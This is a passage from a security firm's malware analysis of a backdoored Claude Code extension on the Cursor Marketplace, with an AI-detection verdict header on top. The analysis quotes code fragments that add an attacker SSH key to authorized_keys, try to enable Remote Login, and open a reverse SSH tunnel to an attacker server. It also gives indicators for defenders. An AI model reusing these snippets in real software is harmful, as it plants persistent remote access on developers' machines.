Pangram verdict · v3.3
We believe that this text is a mix of AI and human-written content.
AI likelihood · overall
MixedArticle text · 1,196 words · 16 segments analyzed
TL;DRPhorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.Organisations should immediately review their environments for use of Claude Code for VSCode 2.1.313 and engage incident response where use of the extension is discovered.Phorion has discovered a compromise of the official Claude Code for VS Code extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the associated release from its marketplace, additionally pulling NPM and VSCode versions for 2.1.313 from their relevant registries.While the implant includes setup and persistence logic for macOS, Linux, and Windows, we’re going to focus primarily on macOS in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.The Cursor Marketplace serves extensions for the Cursor editor.
Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, systemsetup -getremotelogin prints an administrator-access error and exits with status 0 instead of returning Off. Because the script only tries to enable SSH if the output matches Off, it skips the enablement step entirely. On a Mac that doesn’t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.In this post, we’ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet.
The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.Infection ChainThe Cursor Marketplace ExtensionThe compromised extension.js file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle.
The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal activate and deactivate exports, and UI code.The injected prefix pulls in standard Node.js modules (child_process, fs, os, path, http, and crypto) and executes as soon as Node loads the file, before the extension’s normal activate callback even runs. The user doesn’t need to interact with the extension for the payload to fire.Stage 1 - Preparing SSH AccessFirst, the payload makes sure ~/.ssh exists and appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys, setting permissions to 0700 on the directory and 0600 on the file.The key uses the comment svc-telemetry. Before appending, the script checks whether svc-telemetry is already in the file rather than checking for the key itself.
When hunting for this activity, it’s worth checking the public-key fingerprint rather than relying solely on the comment string.var sd = path.join(HOME, ".ssh"), ak = path.join(sd, "authorized_keys"); // ...
if (cur.indexOf("svc-telemetry") < 0) { fs.appendFileSync(ak, PUB + "\n"); d.sshKey = "added" } else { d.sshKey = "present" } Here, cur holds the existing contents of authorized_keys, and PUB is the embedded attacker public key (redacted here).With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:Linux: tries to enable and start sshd or ssh via systemctl, falling back to service and /etc/init.d/.macOS: checks Remote Login and, if it reports Off, tries to enable it via sudo -n systemsetup -setremotelogin on.Windows: tries to install and start OpenSSH Server using PowerShell.None of these steps include a privilege escalation exploit. Non-interactive sudo -n will fail unless the user already has passwordless sudo cached or configured, so starting a system service won’t always succeed from a standard user context.It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (det()) that hardcodes /bin/sh, which isn’t going to get very far on a standard Windows install.A bug in the macOS SSH logic?On macOS, the setup may run into problems before it even gets to the sudo command. The script runs systemsetup -getremotelogin without elevation and tests the output against /Off/i.
It only tries to enable Remote Login if the output contains Off:// ...
else if (PLAT === "darwin") { var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000); d.remoteLogin = rl; if (/Off/i.test(rl)) { det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1"); d.remoteLoginOn = "tried" } } Notice that the second command (-setremotelogin on) uses sudo -n, while the first command (-getremotelogin) doesn’t.
When you run systemsetup -getremotelogin as a standard user on macOS, you get this instead:You need administrator access to run this tool...
exiting!
systemsetup refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status 0.
The malware’s ex() helper grabs stdout and returns it:function ex(c, t) { try { return cp.execSync(c, { timeout: t || 3000, stdio: ["ignore", "pipe", "ignore"], windowsHide: true }).toString().trim() } catch (e) { return "" } } Because the output is "You need administrator access to run this tool... exiting!", /Off/i.test(rl) evaluates to false.As a result, the script skips the if block and never runs sudo -n systemsetup -setremotelogin on. It effectively treats “I don’t have permission to check if SSH is off” as “SSH is already on”, which also explains why you won’t see the enablement attempt in process telemetry when the extension runs as a normal user.This bug can break the final step of the access chain. If Remote Login isn’t already enabled on the Mac, the outbound tunnel can still connect to the attacker’s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.Of course, that isn’t something to rely on as a defence.
If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.Stage 2 - Establishing the Reverse SSH TunnelNext, the script sets up an outbound SSH connection to 134.209.82[.]225 as the tunnel user on port 22.
To authenticate to the attacker’s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment svc-telemetry-tun.It’s worth keeping the two keys straight during an investigation:The public key added to ~/.ssh/authorized_keys (svc-telemetry) lets the attacker log into the victim’s machine.The embedded private key (svc-telemetry-tun) lets the victim’s machine connect out to the attacker’s tunnel server.The script writes this tunnel key to the OS temporary directory with a filename starting with .stk_, followed by the first ten characters of the MD5 hash of the hostname and home directory path:var kf = path.join( TMP, ".stk_" + crypto.createHash("md5") .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10) ); // ...
var RF = (PLAT === "win32") ?
"\"*:0:localhost:22\"" : "'*:0:localhost:22'"; The tunnel uses -R *:0:localhost:22 for remote port forwarding.